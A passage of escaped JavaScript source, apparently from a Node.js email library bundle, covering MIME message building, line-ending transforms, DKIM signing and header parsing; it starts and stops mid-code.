transform(outputStream);\n }\n\n if (this.newline) {\n const winbreak = ['win', 'windows', 'dos', '\\r\\n'].includes(this.newline.toString().toLowerCase());\n const newlineTransform = winbreak ? new LeWindows() : new LeUnix();\n\n const stream = outputStream.pipe(newlineTransform);\n outputStream.on('error', err => stream.emit('error', err));\n return stream;\n }\n\n return outputStream;\n }\n\n /**\n * Appends a transform stream object to the transforms list. Final output\n * is passed through this stream before exposing\n *\n * @param {Object} transform Read-Write stream\n */\n transform(transform) {\n this._transforms.push(transform);\n }\n\n /**\n * Appends a post process function. The functon is run after transforms and\n * uses the following syntax\n *\n * processFunc(input) -> outputStream\n *\n * @param {Object} processFunc Read-Write stream\n */\n processFunc(processFunc) {\n this._processFuncs.push(processFunc);\n }\n\n stream(outputStream, options, done) {\n let transferEncoding = this.getTransferEncoding();\n let contentStream;\n let localStream;\n\n // protect actual callback against multiple triggering\n let returned = false;\n let callback = err => {\n if (returned) {\n return;\n }\n returned = true;\n done(err);\n };\n\n // for multipart nodes, push child nodes\n // for content nodes end the stream\n let finalize = () => {\n let childId = 0;\n let processChildNode = () => {\n if (childId >= this.childNodes.length) {\n outputStream.write('\\r\\n--' + this.boundary + '--\\r\\n');\n return callback();\n }\n let child = this.childNodes[childId++];\n outputStream.write((childId > 1 ? '\\r\\n' : '') + '--' + this.boundary + '\\r\\n');\n child.stream(outputStream, options, err => {\n if (err) {\n return callback(err);\n }\n setImmediate(processChildNode);\n });\n };\n\n if (this.multipart) {\n setImmediate(processChildNode);\n } else {\n return callback();\n }\n };\n\n // pushes node content\n let sendContent = () => {\n if (this.content) {\n if (Object.prototype.toString.call(this.content) === '[object Error]') {\n // content is already errored\n return callback(this.content);\n }\n\n if (typeof this.content.pipe === 'function') {\n this.content.removeListener('error', this._contentErrorHandler);\n this._contentErrorHandler = err => callback(err);\n this.content.once('error', this._contentErrorHandler);\n }\n\n let createStream = () => {\n if (['quoted-printable', 'base64'].includes(transferEncoding)) {\n contentStream = new (transferEncoding === 'base64' ? base64 : qp).Encoder(options);\n\n contentStream.pipe(outputStream, {\n end: false\n });\n contentStream.once('end', finalize);\n contentStream.once('error', err => callback(err));\n\n localStream = this._getStream(this.content);\n localStream.pipe(contentStream);\n } else {\n // anything that is not QP or Base54 passes as-is\n localStream = this._getStream(this.content);\n localStream.pipe(outputStream, {\n end: false\n });\n localStream.once('end', finalize);\n }\n\n localStream.once('error', err => callback(err));\n };\n\n if (this.content._resolve) {\n let chunks = [];\n let chunklen = 0;\n let returned = false;\n let sourceStream = this._getStream(this.content);\n sourceStream.on('error', err => {\n if (returned) {\n return;\n }\n returned = true;\n callback(err);\n });\n sourceStream.on('readable', () => {\n let chunk;\n while ((chunk = sourceStream.read()) !== null) {\n chunks.push(chunk);\n chunklen += chunk.length;\n }\n });\n sourceStream.on('end', () => {\n if (returned) {\n return;\n }\n returned = true;\n this.content._resolve = false;\n this.content._resolvedValue = Buffer.concat(chunks, chunklen);\n setImmediate(createStream);\n });\n } else {\n setImmediate(createStream);\n }\n return;\n } else {\n return setImmediate(finalize);\n }\n };\n\n if (this._raw) {\n setImmediate(() => {\n if (Object.prototype.toString.call(this._raw) === '[object Error]') {\n // content is already errored\n return callback(this._raw);\n }\n\n // remove default error handler (if set)\n if (typeof this._raw.pipe === 'function') {\n this._raw.removeListener('error', this._contentErrorHandler);\n }\n\n let raw = this._getStream(this._raw);\n raw.pipe(outputStream, {\n end: false\n });\n raw.on('error', err => outputStream.emit('error', err));\n raw.on('end', finalize);\n });\n } else {\n outputStream.write(this.buildHeaders() + '\\r\\n\\r\\n');\n setImmediate(sendContent);\n }\n }\n\n /**\n * Sets envelope to be used instead of the generated one\n *\n * @return {Object} SMTP envelope in the form of {from: 'from@example.com', to: ['to@example.com']}\n */\n setEnvelope(envelope) {\n let list;\n\n this._envelope = {\n from: false,\n to: []\n };\n\n if (envelope.from) {\n list = [];\n this._convertAddresses(this._parseAddresses(envelope.from), list);\n list = list.filter(address => address && address.address);\n if (list.length && list[0]) {\n this._envelope.from = list[0].address;\n }\n }\n ['to', 'cc', 'bcc'].forEach(key => {\n if (envelope[key]) {\n this._convertAddresses(this._parseAddresses(envelope[key]), this._envelope.to);\n }\n });\n\n this._envelope.to = this._envelope.to.map(to => to.address).filter(address => address);\n\n let standardFields = ['to', 'cc', 'bcc', 'from'];\n Object.keys(envelope).forEach(key => {\n if (!standardFields.includes(key)) {\n this._envelope[key] = envelope[key];\n }\n });\n\n return this;\n }\n\n /**\n * Generates and returns an object with parsed address fields\n *\n * @return {Object} Address object\n */\n getAddresses() {\n let addresses = {};\n\n this._headers.forEach(header => {\n let key = header.key.toLowerCase();\n if (['from', 'sender', 'reply-to', 'to', 'cc', 'bcc'].includes(key)) {\n if (!Array.isArray(addresses[key])) {\n addresses[key] = [];\n }\n\n this._convertAddresses(this._parseAddresses(header.value), addresses[key]);\n }\n });\n\n return addresses;\n }\n\n /**\n * Generates and returns SMTP envelope with the sender address and a list of recipients addresses\n *\n * @return {Object} SMTP envelope in the form of {from: 'from@example.com', to: ['to@example.com']}\n */\n getEnvelope() {\n if (this._envelope) {\n return this._envelope;\n }\n\n let envelope = {\n from: false,\n to: []\n };\n this._headers.forEach(header => {\n let list = [];\n if (header.key === 'From' || (!envelope.from && ['Reply-To', 'Sender'].includes(header.key))) {\n this._convertAddresses(this._parseAddresses(header.value), list);\n if (list.length && list[0]) {\n envelope.from = list[0].address;\n }\n } else if (['To', 'Cc', 'Bcc'].includes(header.key)) {\n this._convertAddresses(this._parseAddresses(header.value), envelope.to);\n }\n });\n\n envelope.to = envelope.to.map(to => to.address);\n\n return envelope;\n }\n\n /**\n * Returns Message-Id value. If it does not exist, then creates one\n *\n * @return {String} Message-Id value\n */\n messageId() {\n let messageId = this.getHeader('Message-ID');\n // You really should define your own Message-Id field!\n if (!messageId) {\n messageId = this._generateMessageId();\n this.setHeader('Message-ID', messageId);\n }\n return messageId;\n }\n\n /**\n * Sets pregenerated content that will be used as the output of this node\n *\n * @param {String|Buffer|Stream} Raw MIME contents\n */\n setRaw(raw) {\n this._raw = raw;\n\n if (this._raw && typeof this._raw.pipe === 'function') {\n // pre-stream handler. might be triggered if a stream is set as content\n // and 'error' fires before anything is done with this stream\n this._contentErrorHandler = err => {\n this._raw.removeListener('error', this._contentErrorHandler);\n this._raw = err;\n };\n this._raw.once('error', this._contentErrorHandler);\n }\n\n return this;\n }\n\n /////// PRIVATE METHODS\n\n /**\n * Detects and returns handle to a stream related with the content.\n *\n * @param {Mixed} content Node content\n * @returns {Object} Stream object\n */\n _getStream(content) {\n let contentStream;\n\n if (content._resolvedValue) {\n // pass string or buffer content as a stream\n contentStream = new PassThrough();\n\n setImmediate(() => {\n try {\n contentStream.end(content._resolvedValue);\n } catch (err) {\n contentStream.emit('error', err);\n }\n });\n\n return contentStream;\n } else if (typeof content.pipe === 'function') {\n // assume as stream\n return content;\n } else if (content && typeof content.path === 'string' && !content.href) {\n if (this.disableFileAccess) {\n contentStream = new PassThrough();\n setImmediate(() => contentStream.emit('error', new Error('File access rejected for ' + content.path)));\n return contentStream;\n }\n // read file\n return fs.createReadStream(content.path);\n } else if (content && typeof content.href === 'string') {\n if (this.disableUrlAccess) {\n contentStream = new PassThrough();\n setImmediate(() => contentStream.emit('error', new Error('Url access rejected for ' + content.href)));\n return contentStream;\n }\n // fetch URL\n return nmfetch(content.href, { headers: content.httpHeaders });\n } else {\n // pass string or buffer content as a stream\n contentStream = new PassThrough();\n\n setImmediate(() => {\n try {\n contentStream.end(content || '');\n } catch (err) {\n contentStream.emit('error', err);\n }\n });\n return contentStream;\n }\n }\n\n /**\n * Parses addresses. Takes in a single address or an array or an\n * array of address arrays (eg. To: [[first group], [second group],...])\n *\n * @param {Mixed} addresses Addresses to be parsed\n * @return {Array} An array of address objects\n */\n _parseAddresses(addresses) {\n return [].concat.apply(\n [],\n [].concat(addresses).map(address => {\n // eslint-disable-line prefer-spread\n if (address && address.address) {\n address.address = this._normalizeAddress(address.address);\n address.name = address.name || '';\n return [address];\n }\n return addressparser(address);\n })\n );\n }\n\n /**\n * Normalizes a header key, uses Camel-Case form, except for uppercase MIME-\n *\n * @param {String} key Key to be normalized\n * @return {String} key in Camel-Case form\n */\n _normalizeHeaderKey(key) {\n key = (key || '')\n .toString()\n // no newlines in keys\n .replace(/\\r?\\n|\\r/g, ' ')\n .trim()\n .toLowerCase()\n // use uppercase words, except MIME\n .replace(/^X-SMTPAPI$|^(MIME|DKIM|ARC|BIMI)\\b|^[a-z]|-(SPF|FBL|ID|MD5)$|-[a-z]/gi, c => c.toUpperCase())\n // special case\n .replace(/^Content-Features$/i, 'Content-features');\n\n return key;\n }\n\n /**\n * Checks if the content type is multipart and defines boundary if needed.\n * Doesn't return anything, modifies object argument instead.\n *\n * @param {Object} structured Parsed header value for 'Content-Type' key\n */\n _handleContentType(structured) {\n this.contentType = structured.value.trim().toLowerCase();\n\n this.multipart = /^multipart\\//i.test(this.contentType) ? this.contentType.substr(this.contentType.indexOf('/') + 1) : false;\n\n if (this.multipart) {\n this.boundary = structured.params.boundary = structured.params.boundary || this.boundary || this._generateBoundary();\n } else {\n this.boundary = false;\n }\n }\n\n /**\n * Generates a multipart boundary value\n *\n * @return {String} boundary value\n */\n _generateBoundary() {\n return this.rootNode.boundaryPrefix + '-' + this.rootNode.baseBoundary + '-Part_' + this._nodeId;\n }\n\n /**\n * Encodes a header value for use in the generated rfc2822 email.\n *\n * @param {String} key Header key\n * @param {String} value Header value\n */\n _encodeHeaderValue(key, value) {\n key = this._normalizeHeaderKey(key);\n\n switch (key) {\n // Structured headers\n case 'From':\n case 'Sender':\n case 'To':\n case 'Cc':\n case 'Bcc':\n case 'Reply-To':\n return this._convertAddresses(this._parseAddresses(value));\n\n // values enclosed in <>\n case 'Message-ID':\n case 'In-Reply-To':\n case 'Content-Id':\n value = (value || '').toString().replace(/\\r?\\n|\\r/g, ' ');\n\n if (value.charAt(0) !== '<') {\n value = '<' + value;\n }\n\n if (value.charAt(value.length - 1) !== '>') {\n value = value + '>';\n }\n return value;\n\n // space separated list of values enclosed in <>\n case 'References':\n value = [].concat\n .apply(\n [],\n [].concat(value || '').map(elm => {\n // eslint-disable-line prefer-spread\n elm = (elm || '')\n .toString()\n .replace(/\\r?\\n|\\r/g, ' ')\n .trim();\n return elm.replace(/<[^>]*>/g, str => str.replace(/\\s/g, '')).split(/\\s+/);\n })\n )\n .map(elm => {\n if (elm.charAt(0) !== '<') {\n elm = '<' + elm;\n }\n if (elm.charAt(elm.length - 1) !== '>') {\n elm = elm + '>';\n }\n return elm;\n });\n\n return value.join(' ').trim();\n\n case 'Date':\n if (Object.prototype.toString.call(value) === '[object Date]') {\n return value.toUTCString().replace(/GMT/, '+0000');\n }\n\n value = (value || '').toString().replace(/\\r?\\n|\\r/g, ' ');\n return this._encodeWords(value);\n\n case 'Content-Type':\n case 'Content-Disposition':\n // if it includes a filename then it is already encoded\n return (value || '').toString().replace(/\\r?\\n|\\r/g, ' ');\n\n default:\n value = (value || '').toString().replace(/\\r?\\n|\\r/g, ' ');\n // encodeWords only encodes if needed, otherwise the original string is returned\n return this._encodeWords(value);\n }\n }\n\n /**\n * Rebuilds address object using punycode and other adjustments\n *\n * @param {Array} addresses An array of address objects\n * @param {Array} [uniqueList] An array to be populated with addresses\n * @return {String} address string\n */\n _convertAddresses(addresses, uniqueList) {\n let values = [];\n\n uniqueList = uniqueList || [];\n\n [].concat(addresses || []).forEach(address => {\n if (address.address) {\n address.address = this._normalizeAddress(address.address);\n\n if (!address.name) {\n values.push(address.address.indexOf(' ') >= 0 ? `<${address.address}>` : `${address.address}`);\n } else if (address.name) {\n values.push(`${this._encodeAddressName(address.name)} <${address.address}>`);\n }\n\n if (address.address) {\n if (!uniqueList.filter(a => a.address === address.address).length) {\n uniqueList.push(address);\n }\n }\n } else if (address.group) {\n let groupListAddresses = (address.group.length ? this._convertAddresses(address.group, uniqueList) : '').trim();\n values.push(`${this._encodeAddressName(address.name)}:${groupListAddresses};`);\n }\n });\n\n return values.join(', ');\n }\n\n /**\n * Normalizes an email address\n *\n * @param {Array} address An array of address objects\n * @return {String} address string\n */\n _normalizeAddress(address) {\n address = (address || '')\n .toString()\n .replace(/[\\x00-\\x1F<>]+/g, ' ') // remove unallowed characters\n .trim();\n\n let lastAt = address.lastIndexOf('@');\n if (lastAt < 0) {\n // Bare username\n return address;\n }\n\n let user = address.substr(0, lastAt);\n let domain = address.substr(lastAt + 1);\n\n // Usernames are not touched and are kept as is even if these include unicode\n // Domains are punycoded by default\n // 'jõgeva.ee' will be converted to 'xn--jgeva-dua.ee'\n // non-unicode domains are left as is\n\n let encodedDomain;\n\n try {\n encodedDomain = punycode.toASCII(domain.toLowerCase());\n } catch (err) {\n // keep as is?\n }\n\n if (user.indexOf(' ') >= 0) {\n if (user.charAt(0) !== '\"') {\n user = '\"' + user;\n }\n if (user.substr(-1) !== '\"') {\n user = user + '\"';\n }\n }\n\n return `${user}@${encodedDomain}`;\n }\n\n /**\n * If needed, mime encodes the name part\n *\n * @param {String} name Name part of an address\n * @returns {String} Mime word encoded string if needed\n */\n _encodeAddressName(name) {\n if (!/^[\\w ]*$/.test(name)) {\n if (/^[\\x20-\\x7e]*$/.test(name)) {\n return '\"' + name.replace(/([\\\\\"])/g, '\\\\$1') + '\"';\n } else {\n return mimeFuncs.encodeWord(name, this._getTextEncoding(name), 52);\n }\n }\n return name;\n }\n\n /**\n * If needed, mime encodes the name part\n *\n * @param {String} name Name part of an address\n * @returns {String} Mime word encoded string if needed\n */\n _encodeWords(value) {\n // set encodeAll parameter to true even though it is against the recommendation of RFC2047,\n // by default only words that include non-ascii should be converted into encoded words\n // but some clients (eg. Zimbra) do not handle it properly and remove surrounding whitespace\n return mimeFuncs.encodeWords(value, this._getTextEncoding(value), 52, true);\n }\n\n /**\n * Detects best mime encoding for a text value\n *\n * @param {String} value Value to check for\n * @return {String} either 'Q' or 'B'\n */\n _getTextEncoding(value) {\n value = (value || '').toString();\n\n let encoding = this.textEncoding;\n let latinLen;\n let nonLatinLen;\n\n if (!encoding) {\n // count latin alphabet symbols and 8-bit range symbols + control symbols\n // if there are more latin characters, then use quoted-printable\n // encoding, otherwise use base64\n nonLatinLen = (value.match(/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\u0080-\\uFFFF]/g) || []).length; // eslint-disable-line no-control-regex\n latinLen = (value.match(/[a-z]/gi) || []).length;\n // if there are more latin symbols than binary/unicode, then prefer Q, otherwise B\n encoding = nonLatinLen < latinLen ? 'Q' : 'B';\n }\n return encoding;\n }\n\n /**\n * Generates a message id\n *\n * @return {String} Random Message-ID value\n */\n _generateMessageId() {\n return (\n '<' +\n [2, 2, 2, 6].reduce(\n // crux to generate UUID-like random strings\n (prev, len) => prev + '-' + crypto.randomBytes(len).toString('hex'),\n crypto.randomBytes(4).toString('hex')\n ) +\n '@' +\n // try to use the domain of the FROM address or fallback to server hostname\n (this.getEnvelope().from || this.hostname || 'localhost').split('@').pop() +\n '>'\n );\n }\n}\n\nmodule.exports = MimeNode;\n","'use strict';\n\nconst Transform = require('stream').Transform;\n\nclass LastNewline extends Transform {\n constructor() {\n super();\n this.lastByte = false;\n }\n\n _transform(chunk, encoding, done) {\n if (chunk.length) {\n this.lastByte = chunk[chunk.length - 1];\n }\n\n this.push(chunk);\n done();\n }\n\n _flush(done) {\n if (this.lastByte === 0x0a) {\n return done();\n }\n if (this.lastByte === 0x0d) {\n this.push(Buffer.from('\\n'));\n return done();\n }\n this.push(Buffer.from('\\r\\n'));\n return done();\n }\n}\n\nmodule.exports = LastNewline;\n","'use strict';\n\nconst stream = require('stream');\nconst Transform = stream.Transform;\n\n/**\n * Ensures that only <LF> is used for linebreaks\n *\n * @param {Object} options Stream options\n */\nclass LeWindows extends Transform {\n constructor(options) {\n super(options);\n // init Transform\n this.options = options || {};\n }\n\n /**\n * Escapes dots\n */\n _transform(chunk, encoding, done) {\n let buf;\n let lastPos = 0;\n\n for (let i = 0, len = chunk.length; i < len; i++) {\n if (chunk[i] === 0x0d) {\n // \\n\n buf = chunk.slice(lastPos, i);\n lastPos = i + 1;\n this.push(buf);\n }\n }\n if (lastPos && lastPos < chunk.length) {\n buf = chunk.slice(lastPos);\n this.push(buf);\n } else if (!lastPos) {\n this.push(chunk);\n }\n done();\n }\n}\n\nmodule.exports = LeWindows;\n","'use strict';\n\nconst punycode = require('../punycode');\nconst mimeFuncs = require('../mime-funcs');\nconst crypto = require('crypto');\n\n/**\n * Returns DKIM signature header line\n *\n * @param {Object} headers Parsed headers object from MessageParser\n * @param {String} bodyHash Base64 encoded hash of the message\n * @param {Object} options DKIM options\n * @param {String} options.domainName Domain name to be signed for\n * @param {String} options.keySelector DKIM key selector to use\n * @param {String} options.privateKey DKIM private key to use\n * @return {String} Complete header line\n */\n\nmodule.exports = (headers, hashAlgo, bodyHash, options) => {\n options = options || {};\n\n // all listed fields from RFC4871 #5.5\n let defaultFieldNames =\n 'From:Sender:Reply-To:Subject:Date:Message-ID:To:' +\n 'Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-ID:' +\n 'Content-Description:Resent-Date:Resent-From:Resent-Sender:' +\n 'Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:' +\n 'List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Post:' +\n 'List-Owner:List-Archive';\n\n let fieldNames = options.headerFieldNames || defaultFieldNames;\n\n let canonicalizedHeaderData = relaxedHeaders(headers, fieldNames, options.skipFields);\n let dkimHeader = generateDKIMHeader(options.domainName, options.keySelector, canonicalizedHeaderData.fieldNames, hashAlgo, bodyHash);\n\n let signer, signature;\n\n canonicalizedHeaderData.headers += 'dkim-signature:' + relaxedHeaderLine(dkimHeader);\n\n signer = crypto.createSign(('rsa-' + hashAlgo).toUpperCase());\n signer.update(canonicalizedHeaderData.headers);\n try {\n signature = signer.sign(options.privateKey, 'base64');\n } catch (E) {\n return false;\n }\n\n return dkimHeader + signature.replace(/(^.{73}|.{75}(?!\\r?\\n|\\r))/g, '$&\\r\\n ').trim();\n};\n\nmodule.exports.relaxedHeaders = relaxedHeaders;\n\nfunction generateDKIMHeader(domainName, keySelector, fieldNames, hashAlgo, bodyHash) {\n let dkim = [\n 'v=1',\n 'a=rsa-' + hashAlgo,\n 'c=relaxed/relaxed',\n 'd=' + punycode.toASCII(domainName),\n 'q=dns/txt',\n 's=' + keySelector,\n 'bh=' + bodyHash,\n 'h=' + fieldNames\n ].join('; ');\n\n return mimeFuncs.foldLines('DKIM-Signature: ' + dkim, 76) + ';\\r\\n b=';\n}\n\nfunction relaxedHeaders(headers, fieldNames, skipFields) {\n let includedFields = new Set();\n let skip = new Set();\n let headerFields = new Map();\n\n (skipFields || '')\n .toLowerCase()\n .split(':')\n .forEach(field => {\n skip.add(field.trim());\n });\n\n (fieldNames || '')\n .toLowerCase()\n .split(':')\n .filter(field => !skip.has(field.trim()))\n .forEach(field => {\n includedFields.add(field.trim());\n });\n\n for (let i = headers.length - 1; i >= 0; i--) {\n let line = headers[i];\n // only include the first value from bottom to top\n if (includedFields.has(line.key) && !headerFields.has(line.key)) {\n headerFields.set(line.key, relaxedHeaderLine(line.line));\n }\n }\n\n let headersList = [];\n let fields = [];\n includedFields.forEach(field => {\n if (headerFields.has(field)) {\n fields.push(field);\n headersList.push(field + ':' + headerFields.get(field));\n }\n });\n\n return {\n headers: headersList.join('\\r\\n') + '\\r\\n',\n fieldNames: fields.join(':')\n };\n}\n\nfunction relaxedHeaderLine(line) {\n return line\n .substr(line.indexOf(':') + 1)\n .replace(/\\r?\\n/g, '')\n .replace(/\\s+/g, ' ')\n .trim();\n}\n","'use strict';\n\n// FIXME:\n// replace this Transform mess with a method that pipes input argument to output argument\n\nconst MessageParser = require('./message-parser');\nconst RelaxedBody = require('./relaxed-body');\nconst sign = require('./sign');\nconst PassThrough = require('stream').PassThrough;\nconst fs = require('fs');\nconst path = require('path');\nconst crypto = require('crypto');\n\nconst DKIM_ALGO = 'sha256';\nconst MAX_MESSAGE_SIZE = 128 * 1024; // buffer messages larger than this to disk\n\n/*\n// Usage:\n\nlet dkim = new DKIM({\n domainName: 'example.com',\n keySelector: 'key-selector',\n privateKey,\n cacheDir: '/tmp'\n});\ndkim.sign(input).pipe(process.stdout);\n\n// Where inputStream is a rfc822 message (either a stream, string or Buffer)\n// and outputStream is a DKIM signed rfc822 message\n*/\n\nclass DKIMSigner {\n constructor(options, keys, input, output) {\n this.options = options || {};\n this.keys = keys;\n\n this.cacheTreshold = Number(this.options.cacheTreshold) || MAX_MESSAGE_SIZE;\n this.hashAlgo = this.options.hashAlgo || DKIM_ALGO;\n\n this.cacheDir = this.options.cacheDir || false;\n\n this.chunks = [];\n this.chunklen = 0;\n this.readPos = 0;\n this.cachePath = this.cacheDir ? path.join(this.cacheDir, 'message.' + Date.now() + '-' + crypto.randomBytes(14).toString('hex')) : false;\n this.cache = false;\n\n this.headers = false;\n this.bodyHash = false;\n this.parser = false;\n this.relaxedBody = false;\n\n this.input = input;\n this.output = output;\n this.output.usingCache = false;\n\n this.hasErrored = false;\n\n this.input.on('error', err => {\n this.hasErrored = true;\n this.cleanup();\n output.emit('error', err);\n });\n }\n\n cleanup() {\n if (!this.cache || !this.cachePath) {\n return;\n }\n fs.unlink(this.cachePath, () => false);\n }\n\n createReadCache() {\n // pipe remainings to cache file\n this.cache = fs.createReadStream(this.cachePath);\n this.cache.once('error', err => {\n this.cleanup();\n this.output.emit('error', err);\n });\n this.cache.once('close', () => {\n this.cleanup();\n });\n this.cache.pipe(this.output);\n }\n\n sendNextChunk() {\n if (this.hasErrored) {\n return;\n }\n\n if (this.readPos >= this.chunks.length) {\n if (!this.cache) {\n return this.output.end();\n }\n return this.createReadCache();\n }\n let chunk = this.chunks[this.readPos++];\n if (this.output.write(chunk) === false) {\n return this.output.once('drain', () => {\n this.sendNextChunk();\n });\n }\n setImmediate(() => this.sendNextChunk());\n }\n\n sendSignedOutput() {\n let keyPos = 0;\n let signNextKey = () => {\n if (keyPos >= this.keys.length) {\n this.output.write(this.parser.rawHeaders);\n return setImmediate(() => this.sendNextChunk());\n }\n let key = this.keys[keyPos++];\n let dkimField = sign(this.headers, this.hashAlgo, this.bodyHash, {\n domainName: key.domainName,\n keySelector: key.keySelector,\n privateKey: key.privateKey,\n headerFieldNames: this.options.headerFieldNames,\n skipFields: this.options.skipFields\n });\n if (dkimField) {\n this.output.write(Buffer.from(dkimField + '\\r\\n'));\n }\n return setImmediate(signNextKey);\n };\n\n if (this.bodyHash && this.headers) {\n return signNextKey();\n }\n\n this.output.write(this.parser.rawHeaders);\n this.sendNextChunk();\n }\n\n createWriteCache() {\n this.output.usingCache = true;\n // pipe remainings to cache file\n this.cache = fs.createWriteStream(this.cachePath);\n this.cache.once('error', err => {\n this.cleanup();\n // drain input\n this.relaxedBody.unpipe(this.cache);\n this.relaxedBody.on('readable', () => {\n while (this.relaxedBody.read() !== null) {\n // do nothing\n }\n });\n this.hasErrored = true;\n // emit error\n this.output.emit('error', err);\n });\n this.cache.once('close', () => {\n this.sendSignedOutput();\n });\n this.relaxedBody.removeAllListeners('readable');\n this.relaxedBody.pipe(this.cache);\n }\n\n signStream() {\n this.parser = new MessageParser();\n this.relaxedBody = new RelaxedBody({\n hashAlgo: this.hashAlgo\n });\n\n this.parser.on('headers', value => {\n this.headers = value;\n });\n\n this.relaxedBody.on('hash', value => {\n this.bodyHash = value;\n });\n\n this.relaxedBody.on('readable', () => {\n let chunk;\n if (this.cache) {\n return;\n }\n while ((chunk = this.relaxedBody.read()) !== null) {\n this.chunks.push(chunk);\n this.chunklen += chunk.length;\n if (this.chunklen >= this.cacheTreshold && this.cachePath) {\n return this.createWriteCache();\n }\n }\n });\n\n this.relaxedBody.on('end', () => {\n if (this.cache) {\n return;\n }\n this.sendSignedOutput();\n });\n\n this.parser.pipe(this.relaxedBody);\n setImmediate(() => this.input.pipe(this.parser));\n }\n}\n\nclass DKIM {\n constructor(options) {\n this.options = options || {};\n this.keys = [].concat(\n this.options.keys || {\n domainName: options.domainName,\n keySelector: options.keySelector,\n privateKey: options.privateKey\n }\n );\n }\n\n sign(input, extraOptions) {\n let output = new PassThrough();\n let inputStream = input;\n let writeValue = false;\n\n if (Buffer.isBuffer(input)) {\n writeValue = input;\n inputStream = new PassThrough();\n } else if (typeof input === 'string') {\n writeValue = Buffer.from(input);\n inputStream = new PassThrough();\n }\n\n let options = this.options;\n if (extraOptions && Object.keys(extraOptions).length) {\n options = {};\n Object.keys(this.options || {}).forEach(key => {\n options[key] = this.options[key];\n });\n Object.keys(extraOptions || {}).forEach(key => {\n if (!(key in options)) {\n options[key] = extraOptions[key];\n }\n });\n }\n\n let signer = new DKIMSigner(options, this.keys, inputStream, output);\n setImmediate(() => {\n signer.signStream();\n if (writeValue) {\n setImmediate(() => {\n inputStream.end(writeValue);\n });\n }\n });\n\n return output;\n }\n}\n\nmodule.exports = DKIM;\n","'use strict';\n\nconst Transform = require('stream').Transform;\n\n/**\n * MessageParser instance is a transform stream that separates message headers\n * from the rest of the body. Headers are emitted with the 'headers' event. Message\n * body is passed on as the resulting stream.\n */\nclass MessageParser extends Transform {\n constructor(options) {\n super(options);\n this.lastBytes = Buffer.alloc(4);\n this.headersParsed = false;\n this.headerBytes = 0;\n this.headerChunks = [];\n this.rawHeaders = false;\n this.bodySize = 0;\n }\n\n /**\n * Keeps count of the last 4 bytes in order to detect line breaks on chunk boundaries\n *\n * @param {Buffer} data Next data chunk from the stream\n */\n updateLastBytes(data) {\n let lblen = this.lastBytes.length;\n let nblen = Math.min(data.length, lblen);\n\n // shift existing bytes\n for (let i = 0, len = lblen - nblen; i < len; i++) {\n this.lastBytes[i] = this.lastBytes[i + nblen];\n }\n\n // add new bytes\n for (let i = 1; i <= nblen; i++) {\n this.lastBytes[lblen - i] = data[data.length - i];\n }\n }\n\n /**\n * Finds and removes message headers from the remaining body. We want to keep\n * headers separated until final delivery to be able to modify these\n *\n * @param {Buffer} data Next chunk of data\n * @return {Boolean} Returns true if headers are already found or false otherwise\n */\n checkHeaders(data) {\n if (this.headersParsed) {\n return true;\n }\n\n let lblen = this.lastBytes.length;\n let headerPos = 0;\n this.curLinePos = 0;\n for (let i = 0, len = this.lastBytes.length + data.length; i < len; i++) {\n let chr;\n if (i < lblen) {\n chr = this.lastBytes[i];\n } else {\n chr = data[i - lblen];\n }\n if (chr === 0x0a && i) {\n let pr1 = i - 1 < lblen ? this.lastBytes[i - 1] : data[i - 1 - lblen];\n let pr2 = i > 1 ? (i - 2 < lblen ? this.lastBytes[i - 2] : data[i - 2 - lblen]) : false;\n if (pr1 === 0x0a) {\n this.headersParsed = true;\n headerPos = i - lblen + 1;\n this.headerBytes += headerPos;\n break;\n } else if (pr1 === 0x0d && pr2 === 0x0a) {\n this.headersParsed = true;\n headerPos = i - lblen + 1;\n this.headerBytes += headerPos;\n break;\n }\n }\n }\n\n if (this.headersParsed) {\n this.headerChunks.push(data.slice(0, headerPos));\n this.rawHeaders = Buffer.concat(this.headerChunks, this.headerBytes);\n this.headerChunks = null;\n this.emit('headers', this.parseHeaders());\n if (data.length - 1 > headerPos) {\n let chunk = data.slice(headerPos);\n this.bodySize += chunk.length;\n // this would be the first chunk of data sent downstream\n setImmediate(() => this.push(chunk));\n }\n return false;\n } else {\n this.headerBytes += data.length;\n this.headerChunks.push(data);\n }\n\n // store last 4 bytes to catch header break\n this.updateLastBytes(data);\n\n return false;\n }\n\n _transform(chunk, encoding, callback) {\n if (!chunk || !chunk.length) {\n return callback();\n }\n\n if (typeof chunk === 'string') {\n chunk = Buffer.from(chunk, encoding);\n }\n\n let headersFound;\n\n try {\n headersFound = this.checkHeaders(chunk);\n } catch (E) {\n return callback(E);\n }\n\n if (headersFound) {\n this.bodySize += chunk.length;\n this.push(chunk);\n }\n\n setImmediate(callback);\n }\n\n _flush(callback) {\n if (this.headerChunks) {\n let chunk = Buffer.concat(this.headerChunks, this.headerBytes);\n this.bodySize += chunk.length;\n this.push(chunk);\n this.headerChunks = null;\n }\n callback();\n }\n\n parseHeaders() {\n let lines = (this.rawHeaders || '').toString().split(/\\r?\\n/);\n for (let i = lines.length - 1; i > 0; i--) {\n if (/^\\s/.test(lines[i])) {\n lines[i - 1] += '\\n' + lines[i];\n lines.splice(i, 1);\n }\n }\n return lines\n .filter(line => line.trim())\n .map(line => ({\n key: line.substr(0, line.indexOf(':')).trim().toLowerCase(),\n line\n }));\n }\n}\n\nmodule.exports = MessageParser;\n","'use strict';\n\n// streams through a message body and calculates relaxed body hash\n\nconst Transform = require('stream').Transform;\nconst crypto = require('crypto');\n\nclass RelaxedBody extends Transform {\n constructor(options) {\n super();\n options = options || {};\n this.chunkBuffer = [];\n this.chunkBufferLen = 0;\n this.bodyHash = crypto.createHash(options.hashAlgo || 'sha1');\n this.remainder = '';\n this.byteLength = 0;\n\n this.debug = options.debug;\n this._debugBody = options.debug ? [] : false;\n }\n\n updateHash(chunk) {\n let bodyStr;\n\n // find next remainder\n let nextRemainder = '';\n\n // This crux finds and removes the spaces from the last line and the newline characters after the last non-empty line\n // If we get another chunk that does not match this description then we can restore the previously processed data\n let state = 'file';\n for (let i = chunk.length - 1; i >= 0; i--) {\n let c = chunk[i];\n\n if (state === 'file' && (c === 0x0a || c === 0x0d)) {\n // do nothing, found \\n or \\r at the end of chunk, stil end of file\n } else if (state === 'file' && (c === 0x09 || c === 0x20)) {\n // switch to line ending mode, this is the last non-empty line\n state = 'line';\n } else if (state === 'line' && (c === 0x09 || c === 0x20)) {\n // do nothing, found ' ' or \\t at the end of line, keep processing the last non-empty line\n } else 